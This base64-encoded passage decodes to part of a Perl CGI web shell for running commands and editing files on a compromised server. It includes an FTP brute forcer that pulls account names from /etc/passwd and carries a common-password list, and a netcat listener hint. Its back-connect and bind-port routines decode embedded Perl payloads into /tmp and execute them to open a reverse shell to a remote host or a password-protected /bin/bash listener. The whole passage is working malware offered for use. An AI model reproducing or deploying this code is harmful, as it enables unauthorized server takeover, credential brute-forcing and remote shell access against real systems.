bWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0c